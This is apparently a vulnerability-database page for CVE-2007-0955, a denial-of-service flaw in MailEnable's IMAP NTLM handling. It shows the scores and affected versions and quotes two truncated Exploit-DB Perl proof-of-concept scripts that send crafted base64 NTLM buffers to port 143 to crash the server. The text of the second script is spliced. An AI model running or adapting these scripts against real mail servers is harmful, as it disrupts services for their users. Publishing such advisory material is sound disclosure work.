CVE-2007-0955
published 2007-02-15CVE-2007-0955: The NTLM_UnPack_Type3 function in MENTLM.dll in MailEnable Professional 2.35 and earlier allows remote attackers to cause a denial of service (application…
PriorityP432high7.8CVSS 2.0
AVNACLAuNCNINAC
EXPLOIT
EPSS
5.33%
91.6th percentile
The NTLM_UnPack_Type3 function in MENTLM.dll in MailEnable Professional 2.35 and earlier allows remote attackers to cause a denial of service (application crash) via certain base64-encoded data following an AUTHENTICATE NTLM command to the imap port (143/tcp), which results in an out-of-bounds read.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| mailenable | mailenable | <= 2.35 | — |
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No detection rules found.
Exploit-DB
MailEnable Professional/Enterprise 2.37 - Denial of Service
exploitdb·2007-02-14
CVE-2007-0955 MailEnable Professional/Enterprise 2.37 - Denial of Service
MailEnable Professional/Enterprise 2.37 - Denial of Service
---
#!/usr/bin/perl
#
# maildisable-v7.pl
#
# Mail Enable Professional/Enterprise v2.32-7 (win32)
# by mu-b - Wed Feb 14 2007
#
# - Tested on: Mail Enable Professional v2.37 (win32)
#
########
use Getopt::Std; getopts('t:', \%arg);
use Socket;
use MIME::Base64;
&print_header;
my $target;
if (defined($arg{'t'})) { $target = $arg{'t'} }
if (!(defined($target))) { &usage; }
my $imapd_port = 143;
my $send_delay = 2;
my $PAD = 'A';
if (connect_host($target, $imapd_port)) {
print("-> * Connected\n");
send(SOCKET, "1 AUTHENTICATE NTLM\r\n", 0);
sleep($send_delay);
$buf = ($PAD x 12).
"\xfa\xff\xff\xff".
($PAD x 12);
send(SOCKET, encode_base64($buf)."\r\n", 0);
sleep($send_delay);
$buf = ($PAD x 28).
"\x00\x01".
($PAD x 2).
"\x
Exploit-DB
MailEnable Professional/Enterprise 2.35 - Out of Bounds Denial of Service
exploitdb·2007-02-14
CVE-2007-0955 MailEnable Professional/Enterprise 2.35 - Out of Bounds Denial of Service
MailEnable Professional/Enterprise 2.35 - Out of Bounds Denial of Service
---
#!/usr/bin/perl
#
# maildisable-v5.pl
#
# Mail Enable Professional/Enterprise * Connected\n");
send(SOCKET, "1 AUTHENTICATE NTLM\r\n", 0);
sleep($send_delay);
$buf = ($PAD x 12).
"\xfa\xff\xff\xff".
($PAD x 12);
send(SOCKET, encode_base64($buf)."\r\n", 0);
sleep($send_delay);
$buf = ($PAD x 28).
"\x00\x01".
($PAD x 2).
"\xef\xbe\xad\xde";
send(SOCKET, encode_base64($buf)."\r\n", 0);
sleep($send_delay);
print("-> * Successfully sent payload!\n");
}
sub print_header {
print("MailEnable Pro \n\n");
}
sub usage {
print(qq(Usage: $0 -t
-t : hostname to test
));
exit(1);
}
sub connect_host {
($target, $port) = @_;
$iaddr = inet_aton($target) || die("Error: $!\n");
$paddr = sockaddr_in($port, $iaddr) || die("E
No writeups or analysis indexed.
http://archives.neohapsis.com/archives/fulldisclosure/2007-02/0321.htmlhttp://archives.neohapsis.com/archives/fulldisclosure/2007-02/0333.htmlhttp://lists.grok.org.uk/pipermail/full-disclosure/2007-February/052427.htmlhttp://osvdb.org/33195http://secunia.com/advisories/24139http://securityreason.com/securityalert/2249http://www.vupen.com/english/advisories/2007/0614https://exchange.xforce.ibmcloud.com/vulnerabilities/32482http://archives.neohapsis.com/archives/fulldisclosure/2007-02/0321.htmlhttp://archives.neohapsis.com/archives/fulldisclosure/2007-02/0333.htmlhttp://lists.grok.org.uk/pipermail/full-disclosure/2007-February/052427.htmlhttp://osvdb.org/33195http://secunia.com/advisories/24139http://securityreason.com/securityalert/2249http://www.vupen.com/english/advisories/2007/0614https://exchange.xforce.ibmcloud.com/vulnerabilities/32482
2007-02-15
Published